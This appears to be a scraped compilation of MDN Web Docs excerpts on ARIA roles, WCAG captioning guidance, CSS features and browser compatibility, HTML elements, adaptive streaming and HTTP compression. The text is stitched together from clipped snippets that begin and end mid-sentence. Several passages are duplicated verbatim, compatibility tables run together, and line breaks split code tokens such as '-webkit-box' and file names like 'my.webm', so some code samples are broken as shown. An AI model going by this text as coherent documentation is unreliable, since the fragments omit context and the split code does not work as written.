If the user is expected to close the alert, then the alertdialog role should be used instead.ARIA: application roleThe application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop application, and no traditional HTML interpretation techniques should be used. This role should only be used to define very dynamic and desktop-like
web applications.ARIA: article roleThe article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a
website. It is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.ARIA: banner roleA banner role represents general and informative content frequently placed at the beginni...
...mentary roleThe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated. These sections are frequently presented as sidebars or call-out boxes. If possible, use the HTML <aside> element instead.ARIA: contentinfo roleThe contentinfo landmark role is used to identify information repeated at the end of every page of a
website, including copyright information, navigation links, and privacy statements. This section is commonly called a footer.ARIA: dialog roleThe dialog role is used to mark up an HTML based application dialog or window that separates content or UI from the rest of the
web application or page. Dialogs are generally placed on top of the rest of the page content using an overlay. Dialogs can be either ...
...ctionality of an application.ARIA: Mark roleThe mark landmark role semantically denotes HTML elements containing text that is marked/highlighted for reference purposes. This is semantically equivalent to the HTML <mark> element. If possible, you should use this element instead.ARIA: Navigation RoleThe navigation landmark role is used to identify major groups of links used for navigating through a
website or page content.ARIA: Region roleThe region landmark role is used to identify an area in the document that the author has identified as significant. It is used to provide a generic landmark for people to be able to navigate to easily when none of the other landmark roles are appropriate.ARIA: row roleAn element with role="row" is a row of cells within a tabular structure. A row contains one o...
...y an element that allows the input of free-form text. ARIA: timer roleThe timer role indicates to assistive technologies that an element is a numerical counter the amount of elapsed time from a starting point or the remaining time until an end point. Please claim the role you want to work on by adding your name after the role's name: (old pages are linked from https://developer.mozilla.org/docs/
Web/Accessibility/ARIA/ARIA_Techniques). Ones for which the first draft is completed have been removed from the below list. alertdialog banner Combobox Command Columnheader (Estelle) complementary composite Definition Directory Feed Gridcell (Eric E) Group input landmark Link - old page listbox Log - old page Marquee math menu menubar Menuitem Menuitemcheckbox Menuitemradio...
Perceivable - Accessibility
Perceivable states that users must be able to perceive it in some way, using one or more of their senses. Note: To read the W3C definitions for Perceivable and its guidelines and success criteria, see Principle 1: Perceivable - Information and user interface components must be presentable to users in ways they can perceive. Guideline 1.1 -- Providing text alternatives for non-text content The key here is that text can be converted to other forms that people with disabilities can use. ...
...1.2.1 Provide alternatives for pre-recorded audio-only and video-only content (A) A transcript should be provided for prerecorded audio-only media, and a transcript or audio description should be provided for prerecorded video-only media (i.e., silent video). See Audio transcripts for transcript information. No audio description tutorial is available yet. 1.2.2 Provide captions for
web-based video (A) You should provide captions for video presented on the
web (e.g., HTML5 video). This is for the benefit of people who can't hear the audio part of the video. See Video text tracks for HTML5 video captions, and Other multimedia content for other technologies. See also Add your own subtitles & closed captions (YouTube). 1.2.3 Provide text transcript or audio descripti...
...This is for the benefit of people who can't see the visual part of the video, and don't get the full content from the audio alone. See Audio transcripts for transcript information. ...
... benefit of people who can't hear the audio part of the video. See Video text tracks for HTML5 video captions, and Other multimedia content for other technologies. See also Add your own subtitles & closed captions (YouTube). 1.2.3 Provide text transcript or audio description for
web-based video (A) You should provide text transcripts or audio descriptions for video presented on the
web (e.g., HTML5 video. This is for the benefit of people who can't see the visual part of the video, and don't get the full content from the audio alone. See Audio transcripts for transcript information. No audio description tutorial is available yet. 1.2.4 Provide captions for live audio (AA) You should provide synchronized captions for all live multimedia that contains audio (e.g., ...
::slotted() - CSS: Cascading Style Sheets
e Level 1The definition of '::slotted' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 37Safari Full support 10
WebView Android Full support 50Chrome And...
...abled From version 59 until version 63 (exclusive): this feature is behind the dom.
webcomponents.shadowdom.enabled preference (needs to be set to true). ...
...To change preferences in Firefox, visit about:config.Opera Android Full support 37Safari iOS Full support 10Samsung Internet Android Full support 5.0Legend Full sup...
:host() - CSS: Cascading Style Sheets
footer class set on them -- we've used it to give instances of the element inside the <footer> a special color. Specifications Specification Status Comment CSS Scoping Module Level 1The definition of ':host()' in that specification. Working Draft Initial definition. ...
...To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 41Safari Full support 10Notes Full support 10Notes Notes Certain...
..., visit about:config.IE No support NoOpera Full support 41Safari Full support 10Notes Full support 10Notes Notes Certain CSS selectors do not work (:host > .local-child) and styling slotted content (::slotted) is buggy.
WebView Android Full support 54Chrome Android Full support 54Firefox Android Full support 63 Full support 63 No support 61 -- 63Disabled Disabled From version 61 until version 63 (exclusive): this ...
...To change preferences in Firefox, visit about:config.Opera Android Full support 41Safari iOS Full support 10Notes Full support 10Notes Notes Certain CSS selectors do not work (:host > .local-child)...
:host - CSS: Cascading Style Sheets
dule Level 1The definition of ':host' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 41Safari Full support 10
WebView Android Full support 54Chrome And...
...abled From version 61 until version 63 (exclusive): this feature is behind the dom.
webcomponents.shadowdom.enabled preference (needs to be set to true). ...
...To change preferences in Firefox, visit about:config.Opera Android Full support 41Safari iOS Full support 10Samsung Internet Android Full support 6.0Legend Full sup...
:visited - CSS: Cascading Style Sheets
S Level 1The definition of ':visited' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...visitedChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support 4.4Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
... Full support 70IE No support NoOpera Full support 15Notes Full support 15Notes Notes Chromium has never matched <link> elements with link pseudo-classes.Safari Full support 12
WebView Android Full support 4.4Notes Full support 4.4Notes Notes Chromium has never matched <link> elements with link pseudo-classes.Chrome Android Full support 18Notes Full support 18Notes Notes Chromium has never match...
... privacyChrome Full support 6Edge Full support 12Firefox Full support 4IE Full support 8Opera Full support 15Safari Full support 5
WebView Android Full support 37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 4.2Samsung Internet Android ...
@font-face - CSS: Cascading Style Sheets
The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. Syntax @font-face { font-family: "Open Sans"; src: url("/fonts/OpenSans-Regular-
webfont.woff2") format("woff2"), url("/fonts/OpenSans-Regular-
webfont.woff") format("woff"); } Descriptors font-display Determines how a font face is displayed based on whether and when it is downloaded and ready to use. font-family Specifies a name that will be used as the font face value for font properties. font-stretch A font-stretch value. Since Firefox 61 (and in other modern browsers) this also accepts two values to specify a range that is supported by a font-face, for example font-stretch: 50% 200%; ...
...font. Description If the local() function is provided, specifying a font name to look for on the user's computer, and the user agent finds a match, that local font is used. Otherwise, the font resource specified using the url() function is downloaded and used. By allowing authors to provide their own fonts, @font-face makes it possible to design content without being limited to the so-called "
web-safe" fonts (that is, the fonts which are so common that they're considered to be universally available). The ability to specify the name of a locally-installed font to look for and use makes it possible to customize the font beyond the basics while making it possible to do so without relying on an Internet connection. It's common to use both url() and local() together, so that the user's instal...
..., so that the user's installed copy of the font is used if available, falling back to downloading a copy of the font if it's not found on the user's device. The @font-face at-rule may be used not only at the top level of a CSS, but also inside any CSS conditional-group at-rule. Font MIME Types Format MIME type TrueType font/ttf OpenType font/otf
Web Open Font Format font/woff
Web Open Font Format 2 font/woff2 Notes
Web fonts are subject to the same domain restriction (font files must be on the same domain as the page using them), unless HTTP access controls are used to relax this restriction. @font-face cannot be declared within a CSS selector. For example, the following will not work: .className { @font-face { ...
...</body> </html> In this example, the user's local copy of "He...
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
The history of flexbox As with all CSS specifications the Flexbox specification went through a large number of changes before it became the Candidate Recommendation that we have today. As a Candidate Recommendation we should not see large changes at this point to the spec, however this has not been the case with past flexbox iterations. Flexbox was implemented in an experimental way in several
web browsers. At the time the method of creating experimental implementations was to use a vendor prefix. The idea of these prefixes was to allow implementations of the spec to be tested and explored by browser engineers and
web developers alike without clashing with other implementations. The idea was not to use the experimental implementations in production code. However, prefixes ultimately were u...
...prefix at this point. Safari was the last of the major browsers to remove prefixes, with the release of Safari 9 in 2015. The two browsers you should still keep in mind for cross-browser compatibility are: Internet Explorer 10, which implemented the display: flexbox version of the specification with the -ms- prefix. UC Browser, which still supports the 2009 display: box version only with the -
webkit- prefix. Note also that Internet Explorer 11 supports the modern display: flex specification however it has a number of bugs in the implementation. Common issues The majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us were attempting to use an experimental specification in production. If you are trying to ensure...
... browser versions and are fixed in current browsers. Each of the bugs has a workaround listed -- which can save you many hours of puzzling. If you want to include very old browsers with flexbox support then you can include the vendor prefixes in your CSS in addition to the unprefixed version. This is becoming less and less of a requirement today as support is widespread. .wrapper { display: -
webkit-box; display: -
webkit-flex; display: -ms-flexbox; display: flex; } Autoprefixer Online is a useful way to see which prefixes are recommended, depending on how many versions you wish to go back with browser support. You can also check Can I Use for information about when prefixes were removed in browsers to make your decision. Useful fallback techniques Given that flexbox usage is init...
...eries to serve flexbox rules only to those browsers with good flexbox support. Remember that if you want to include versions of browsers that had vendor-prefixed flexbox you would need to include the prefixed version in your feature query. The following feature query would include UC Browser, which supports feature queries and old flexbox syntax, prefixed: @supports (display: flex) or (display: -
webkit-box) { // code for supporting browsers } For more information about using Feature Queries see Using Feature Queries in CSS on the Mozilla Hacks blog. Conclusion While I've spent some time in this guide going through potential issues and fallbacks, flexbox is very much ready for you to be using in production work. This guide will help you in those cases where you do come across an issue or...
CSS Scrollbars - CSS: Cascading Style Sheets
or people who use touch input. Baseline Rules for Scrollbar Usability | Adrian Roselli Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 63Disabled Disabled From version 63: this feature is behind the layout.css.scrollbar-width.enabled preference (needs to be set to true). ...
...o support NoLegend Full support Full support No support No supportUser must explicitly enable this feature.User must explicitly enable this feature. ...
... 63Disabled Disabled From version 63: this feature is behind the layout.css.scrollbar-color.enabled preference (needs to be set to true). ...
Animatable CSS properties - CSS: Cascading Style Sheets
Certain CSS properties can be animated using CSS Animations or CSS Transitions. Animation means that their values can be made to change gradually over a given amount of time. ...
... CSS properties can be animated using CSS Animations or CSS Transitions. Animation means that their values can be made to change gradually over a given amount of time. ...
...ed using CSS Animations or CSS Transitions. Animation means that their values can be made to change gradually over a given amount of time. ...
...r CSS Transitions. Animation means that their values can be made to change gradually over a given amount of time. ...
animation - CSS: Cascading Style Sheets
ractivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity. Consider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences. ...
...onsider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences. Designing Safer
Web Animation For Motion Sensitivity . ...
... Specifications Specification Status...
... Specifications Specification Status Comment CSS AnimationsThe definition of 'animation' in that specification. Working Draft Initial definiti...
aspect-ratio - CSS: Cascading Style Sheets
evel 4The definition of 'aspect-ratio' in that specification. Editor's Draft Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...on 69 until version 71 (exclusive): this feature is behind the layout.css.width-and-height-map-to-aspect-ratio.enabled preference (needs to be set to true). ...
...erence (needs to be set to true). ...
...on 69 until version 71 (exclusive): this feature is behind the layout.css.width-and-height-map-to-aspect-ratio.enabled preference (needs to be set to true). ...
background-position - CSS: Cascading Style Sheets
e definition of 'background-position' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ositionChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
...dsChrome Full support 1Edge Full support 12Firefox Full support 3.6IE Full support 9Opera Full support 10.5Safari Full support 1.3
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
...dge)Chrome Full support 25Edge Full support 12Firefox Full support 13IE Full support 9Opera Full support 10.5Safari Full support 7
WebView Android Full support <=37Chrome Android Full support 25Firefox Android Full support 14Opera Android Full support 14Safari iOS Full support 7Samsung Internet Android ...
caption-side - CSS: Cascading Style Sheets
n 1)The definition of 'caption-side' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tion-sideChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 8Opera Full support 4Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
...de Non-standardChrome No support NoEdge No support NoFirefox Full support 1IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
...ing-mode valueChrome No support NoEdge No support NoFirefox Full support 42IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 42Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
font-size-adjust - CSS: Cascading Style Sheets
nt-size-adjust was initially defined in CSS 2, but dropped in CSS 2.1. It has been newly defined in CSS 3. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetfont-size-adjustChrome Full support 43Disabled Full support 43Disabled Disabled From version 43: this feature is behind the Enable experimental
Web Platform features preference. To change preferences in Chrome, visit chrom...
... 43Disabled Disabled From version 43: this feature is behind the Enable experimental
Web Platform features preference. To change preferences in Chrome, visit chrome://flags.Edge Full support 79Disabled Full support 79Disabled Disabled From version 79: this feature is behind the Enable experimental
Web Platform features preference.Firefox Full support 40 Full support 40 Full support 3Notes Notes Before Firefox 40, font-size-adjust: 0 was incorrectly interpreted as font-size-adjust: none (bug 1144885). Full support 1No...
... Full support 1Notes Notes Before Firefox 3, font-size-adjust was supported on Windows only.IE No support NoOpera Full support 30Disabled Full support 30Disabled Disabled From version 30: this feature is behind the Enable experimental
Web Platform features preference.Safari No support No
WebView Android No support NoChrome Android Full support 43Disabled Full support 43Disabled Disabled From version 43: this feature is behind the Enable experimental
Web ...
...perimental
Web Platform features preference. ...
ruby-position - CSS: Cascading Style Sheets
evel 1The definition of 'ruby-position' in that specification. Working Draft Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ort an old draft values: inline (equivalent of having display: inline on the ruby), and above (synonym of the modern over).Opera No support NoSafari No support NoNotes No support NoNotes Notes Safari implements a non-standard, prefixed, version of ruby-position, -
webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scripts to the standard over value used with ruby-align: start).
WebView Android No support NoChrome Android No support NoFirefox Android Full support 38Opera Android ...
...ort NoFirefox Android Full support 38Opera Android No support NoSafari iOS No support NoNotes No support NoNotes Notes Safari implements a non-standard, prefixed, version of ruby-position, -
webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scripts to the standard over value used with ruby-align: start).Samsung Internet Android No support Nointer-character ExperimentalChrome No support NoEdge No support NoFire...
...ter ExperimentalChrome No support NoEdge No support NoFirefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
shape-outside - CSS: Cascading Style Sheets
ear-color-hint> = <length-percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> Examples Funneling text HTML <div class="main"> <div class="left"></div> <div class="right"></div> <p> Sometimes a
web page's text content appears to be funneling your attention towards a spot on the page to drive you to follow a particular link. Sometimes you don't notice. </p> </div> CSS .main { width: 530px; } .left, .right { width: 40%; height: 12ex; background-color: lightgray; } .left { -
webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%); shape-outside: polygon(0 0, 100% 100...
...o be funneling your attention towards a spot on the page to drive you to follow a particular link. Sometimes you don't notice. ...
...imes you don't notice. ...
... Candidate Recommendation Initial definition. ...
WAI ARIA Live Regions/API Support - Developer guides
ader developers improve the quality and performance of live region support, both for pages that are marked up with ARIA live region markup, and for pages where the author did not add any additional markup. Please read the ARIA spec or the live region report to learn about ARIA live region markup. As always, we're open to questions and suggestions for changes in community forums. ...
... aria-relevant on ancestor element container-busy "true" | "false" | "error" "false" The current changes are not yet complete. A state change event for the A11y API's BUSY state will be fired...
... AT does not need to traverse up the parent chain to get this information. At this time, for properties where the container-[name] attribute has not been set, the AT must have code to fall back on the default value as defined in the W3C spec. Determining if event was from user input All events will now provide information about whether the event was caused by user input, or was something that the
web page caused. This information is retrieved differently on each platform, because some platforms use asynchronous events. In IAccessible2, this is retrieved from the object attribute "event-from-input", which will be set to "true" or "false". If it is not present, then something went wrong and Mozilla was not able to provide this information. This information is available only for EVENT_SHOW, EVEN...
...it, then it is /not/ from user input. The ":system" string is calculated for children-changed and text-changed events. Why is this useful? The majority of AJAX pages do not provide live region markup, but still need to be as usable as possible. It is difficult for a screen reader to decide when to interrupt a user with changes on a page. If the screen reader automatically reads too much, then the
web page will be too annoying to use. If the screen reader doesn't read anything, then the user may miss important information. It is believed this information will be useful for heuristics. Often, changes in a page that are directly caused by a user's keystrokes should be read. They are synchronous with what the user is doing and can thus likely be read without disorienting the user. Once the user p...
Setting up adaptive streaming media sources - Developer guides
eams. Various bitrate streams are broken into segments and placed in appropriate server folders -- we have to provide our media players with a link to lookup files or playlists specifying the name and location of these stream folders. MPEG-DASH Encoding MPEG-DASH is an adaptive bitrate streaming technique that enables streaming of media content over the Internet delivered from conventional HTTP
web servers. A media presentation description (MPD) file is used to hold the information on the various streams and the bandwidths they are associated with. In your video source (src) attribute you point to the MPD instead of to the media file as you would with non-adaptive media. The MPD file tells the browser where the various pieces of media are located, it also includes meta data such as mimeTy...
...tionSet> </Period> </MPD> Once you have generated your MPD file you can reference it from within the video tag. <video src="my.mpd" type="application/dash+xml"></video> it might be wise to provide a fallback for browsers that don't yet support MPEG-DASH: <video> <source src="my.mpd" type="application/dash+xml"> <!-- fallback --> <source src="my.mp4" type="video/mp4"> <source src="my.
webm" type="video/
webm"> </video> LIVE Profile A useful piece of software when dealing with MPEG-DASH is Dash Encoder. This uses MP4Box to encode media into MPEG-DASH format. Note: You will need to be comfortable with make files and installing dependencies to get this software up and running. Note: Since MPEG-DASH decoding is done partially using JavaScript and MSE files are often grabbed usin...
...e of software when dealing with MPEG-DASH is Dash Encoder. This uses MP4Box to encode media into MPEG-DASH format. Note: You will need to be comfortable with make files and installing dependencies to get this software up and running. Note: Since MPEG-DASH decoding is done partially using JavaScript and MSE files are often grabbed using XHR, keep same origin rules in mind. Note: If you use
WebM you can use the methods shown in this tutorial DASH Adaptive Streaming for HTML 5 Video. Once encoded your file structure may look something like this: play list -> /segments/news.mp4.mpd main segment folder -> /segments/main/ 100 Kbps segment folder -> /segments/main/news100 contains (1.m4s, 2.m4s, 3.m4s ... ) 200 Kbps segment folder -> /segments/main/news200 contain...
...oritised and served separately depending on bandwidth. Once you have generated your MPD file you can reference as expected it from within the <video> element: <video src="my.mpd" type="application/dash+xml"></video> it might be wise to provide a fallback: <video> <source src="my.mpd" type="application/dash+xml"> <!-- fallback --> <source src="my.mp4" type="video/mp4"> <source src="my.
webm" type="video/
webm"> </video> Note: MPEG-DASH playback relies on dash.js and browser support for Media Source Extensions, see the latest dash.js reference player. HLS Encoding HTTP Live Streaming (HLS) is an HTTP-based media streaming protocol implemented by Apple. It's incorporated into iOS and OSX platforms and works well on mobile and desktop Safari and most Android devices with some cave...
Separate sites for mobile and desktop - Developer guides
The "separate sites" approach to mobile
Web development involves creating different sites for mobile and desktop
Web users. This approach has positive and negative aspects. The good The first option is the most popular by far: use user-agent detection to route users on phones to a separate mobile site, typically at m.example.com. In a nutshell, this technique uses server-side logic to solve all three goals of mobile
web development at once -- if the user's browser looks like it's on a phone, you serve them mobile content, formatted for their phone and optimized for speed. Conceptually simple, this is the easiest option to add to an existing site, especially if you are using a CMS or
Web application that supports templates. Since only the mobile-specific content, styles, and scripts ar...
...barrassing to serve desktop users your mobile site accidentally. When it is right to choose this option Firstly, if your target audience includes users on older or low-end feature phones, it is worth noting that you may need to employ this strategy to some degree no matter what. This is because the default browsers on some feature-phones do not support the same markup that you would use to code a
website targeted at the desktop, but instead understand formats like XHTML-MP or the older WML. This factor aside, there is one case where this strategy really shines over other methods. If the functionality you would like to provide to your users on mobile devices is extremely different from that on a desktop, then using separate sites is simply likely to be the most practical choice. This is becaus...
...e the most practical choice. This is because you have the option of sending completely separate HTML, JavaScript, and CSS to phones and PCs. Another case where you may be forced to use this approach is if you cannot, for whatever reason, modify your existing desktop site, and need to have a 100% separate mobile site. Though it's not ideal, at least you have this option. ...
...ajor
Web applications you see in the wild have chosen this path, including Facebook, YouTube, Digg, and Flickr. In fact, Mozilla picked this strategy for the mobile versions of addons.mozilla.org (AMO) and support.mozilla.org (SUMO). If you'd like to see the source code behind an example of this approach in action, feel free to check out the github repository for AMO or SUMO. Approaches to mobile
Web development See the following articles for background and other approaches to developing for mobile platforms. What is mobile-friendliness? Responsive design A hybrid approach Original document information This article was originally published on 13 May 2011, on the Mozilla
Webdev blog as "Approaches to Mobile
Web Development Part 2 - Separate Sites", by Jason Grlicky. ...
HTML attribute: rel - HTML: Hypertext Markup Language
nnotation Annotation help Link to context-sensitive help. Link Link Link icon Icon representing the current document. External Resource Not allowed Not allowed license Indicates that the main content of the current document is covered by the copyright license described by the referenced document. Link Link Link manifest
Web app manifest Link Not allowed Not allowed modulepreload Tells to browser to preemptively fetch the script and store it in the document's module map for later evaluation. Optionally, the module's dependencies can be fetched as well. External Resource Not allowed Not allowed next Indicates that the current document is a part of a series, and that the next d...
...tes to select the most appropriate icon. If several icons are equally appropriate, the last one is used. If the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. Note: Apple's iOS does not use this link type, nor the sizes attribute, like others mobile browsers do, to select a
webpage icon for
Web Clip or a start-up placeholder. Instead it uses the non-standard apple-touch-icon and apple-touch-startup-image respectively. The shortcut link type is often seen before icon, but this link type is non-conforming, ignored and
web authors must not use it anymore. alternate Indicates an alternate representation of the current document. Valid for link, a, and area, the meaning ...
...es to select the most appropriate icon. If several icons are equally appropriate, the last one is used. If the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. Note: Apple's iOS does not use this link type, nor the sizes attribute, like others mobile browsers do, to select a
webpage icon for
Web Clip or a start-up placeholder. Instead it uses the non-standard apple-touch-icon and apple-touch-startup-image respectively. The shortcut link type is often seen before icon, but this link type is non-conforming, ignored and
web authors must not use it anymore. license Valid on the <a>, <area>, <form>, <link> elements, the license value indicates that the hyperlink leads...
...copyright license described by the referenced document. If not inside the <head> element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this. <link rel="license" href="#license"> Note: Although recognized, the synonym copyright is incorrect and must be avoided. manifest
Web app manifest. Requires the use of the CORS protocol for cross-origin fetching. modulepreload Useful for improved performance, and relevant to the <link> anywhere in the document, setting rel="modulepreload" tells the browser to preemptively fetch the script (and dependencies) and store it in the document's module map for later evaluation. modulepreload links can ensure network fetching is done ...
<input type="hidden"> - HTML: Hypertext Markup Language
For example, the ID of the content that is currently being ordered or edited, or a unique security token. Hidden inputs are completely invisible in the rendered page, and there is no way to make it visible in the page's content. Note: There is a live example below the following line of code -- if it is working correctly, you should see nothing! <input id="prodId" name="prodId" type="hidden" value="xm234jq"> Value A DOMString representing the value of the hidden data you want to pass back to the server. Events None. ...
...ing step 2, the ID of the record being updated is kept in a hidden input. When the form is submitted in step 3, the ID is automatically sent back to the server with the record content. The ID lets the site's server-side component know exactly which record needs to be updated with the submitted data. You can see a full example of what this might look like in the Examples section below. ...
...tomatically sent back to the server with the record content. The ID lets the site's server-side component know exactly which record needs to be updated with the submitted data. You can see a full example of what this might look like in the Examples section below. Improving
website security Hidden inputs are also used to store and submit security tokens or secrets, for the purposes of improving
website security. The basic idea is that if a user is filling in a sensitive form, such as a form on their banking
website to transfer some money to another account, the secret they would be provided with would prove that they are who they say they are, and that they are using the correct form to submit the transfer request. This would stop a malicious user from creating a fake form, pretending to b...
...s hidden secrets to prevent such attacks. As stated previously, placing the secret in a hidden input doesn't inherently make it secure. The key's composition and encoding would do that. The value of the hidden input is that it keeps the secret associated with the data and automatically includes it when the form is sent to the server. You need to use well-designed secrets to actually secure your
website. Validation Hidden inputs don't participate in constraint validation; they have no real value to be constrained. Examples Let's look at how we might implement a simple version of the edit form we described earlier (see Tracking edited content), using a hidden input to remember the ID of the record being edited. The edit form's HTML might look a little bit like this: <form> <div> ...
<input type="range"> - HTML: Hypertext Markup Language
is at the top and the minimum value is at the bottom. ScreenshotLive sample appearance property The appearance property has a non-standard value of slider-vertical that, well, makes sliders vertical. HTML We use the same HTML as in the previous examples: <input type="range" min="0" max="11" value="7" step="1"> CSS We target just the inputs with a type of range: input[type="range"] { -
webkit-appearance: slider-vertical; } orient attribute In Firefox only, there is a non-standard orient property. HTML Use similar HTML as in the previous examples, we add the attribute with a value of vertical: <input type="range" min="0" max="11" value="7" step="1" orient="vertical"> writing-mode: bt-lr; The writing-mode property should generally not be used to alter text direction for i...
... Living Standard Initial definition HTML 5.1The definition of '<input type=...
... Living Standard Initial definition HTML 5.1The definition of '<input type="range">' in that specification. Recommen...
... Living Standard Initial definition HTML 5.1The definition of '<input type="range">' in that specification. Recommendation Initial definition ...
<listing> - HTML: Hypertext Markup Language
tion note: up to Gecko 1.9.2 inclusive, Firefox implements the HTMLSpanElement interface for this element. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... NoNotes No support NoNotes Notes Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoNotes No support NoNotes Notes Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElem...
... See also The <pre> and <code> elements to be used instead. The <plaintext> and <xmp> elements, similar to <listing> but also obsolete. ...
... See also The <pre> and <code> elements to be used instead. The <plaintext> and <xmp> elements, similar to <listing> but also obsolete. ...
<table>: The Table element - HTML: Hypertext Markup Language
d concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it. This helps people navigating with the aid of assistive technology such as a screen reader, people experiencing low vision conditions, and people with cognitive concerns. MDN Adding a caption to your table with <caption> Caption & Summary o Tables o W3C WAI
Web Accessibility Tutorials Scoping rows and columns The scope attribute on header elements is redundant in simple contexts, because scope is inferred. However, some assistive technologies may fail to draw correct inferences, so specifying header scope may improve user experiences. In complex tables, scope can be specified so as to provide necessary information about the cells related to a header.
...> <td><code>rgba(246, 188, 87, 1)</code></td> </tr> </tbody> </table> Providing a declaration of scope="col" on a <th> element will help describe that the cell is at the top of a column. Providing a declaration of scope="row" on a <th> element will help describe that the cell is the first in a row. ...
...le> Providing a declaration of scope="col" on a <th> element will help describe that the cell is at the top of a column. Providing a declaration of scope="row" on a <th> element will help describe that the cell is the first in a row. MDN Tables for visually impaired users Tables with two headers o Tables o W3C WAI
Web Accessibility Tutorials Tables with irregular headers o Tables o W3C WAI
Web Accessibility Tutorials H63: Using the scope attribute to associate header cells and data cells in data tables | W3C Techniques for WCAG 2.0 Complicated tables Assistive technology such as screen readers may have difficulty parsing tables that are so complex that header cells can't be associated in a strictly horizontal or vertical way. This is typically indicated by the presence of the colsp...
...efit people with cognitive concerns who may have difficulty understanding the associations the table layout is describing. If the table cannot be broken apart, use a combination of the id and headers attributes to programmatically associate each table cell with the header(s) the cell is associated with. MDN Tables for visually impaired users Tables with multi-level headers o Tables o W3C WAI
Web Accessibility Tutorials H43: Using id and headers attributes to associate data cells with header cells in data tables | Techniques for W3C WCAG 2.0 Specifications Specification Status Comment HTML Living StandardThe definition of 'table element' in that specification. Living Standard HTML5The definition of 'table element' in that specification. R...
Compression in HTTP - HTTP
For some documents, size reduction of up to 70% lowers the bandwidth capacity needs. Over the years, algorithms also got more efficient, and new ones are supported by clients and servers. In practice,
web developers don't need to implement compression mechanisms, both browsers and servers have it implemented already, but they have to be sure that the server is configured adequately. ...
...d for files can be grouped into two broad categories: Loss-less compression, where the compression-uncompression cycle doesn't alter the data that is recovered. It matches (byte to byte) with the original. For images, gif or png are using loss-less compression. Lossy compression, where the cycle alters the original data in a (hopefully) imperceptible way for the user. Video formats on the
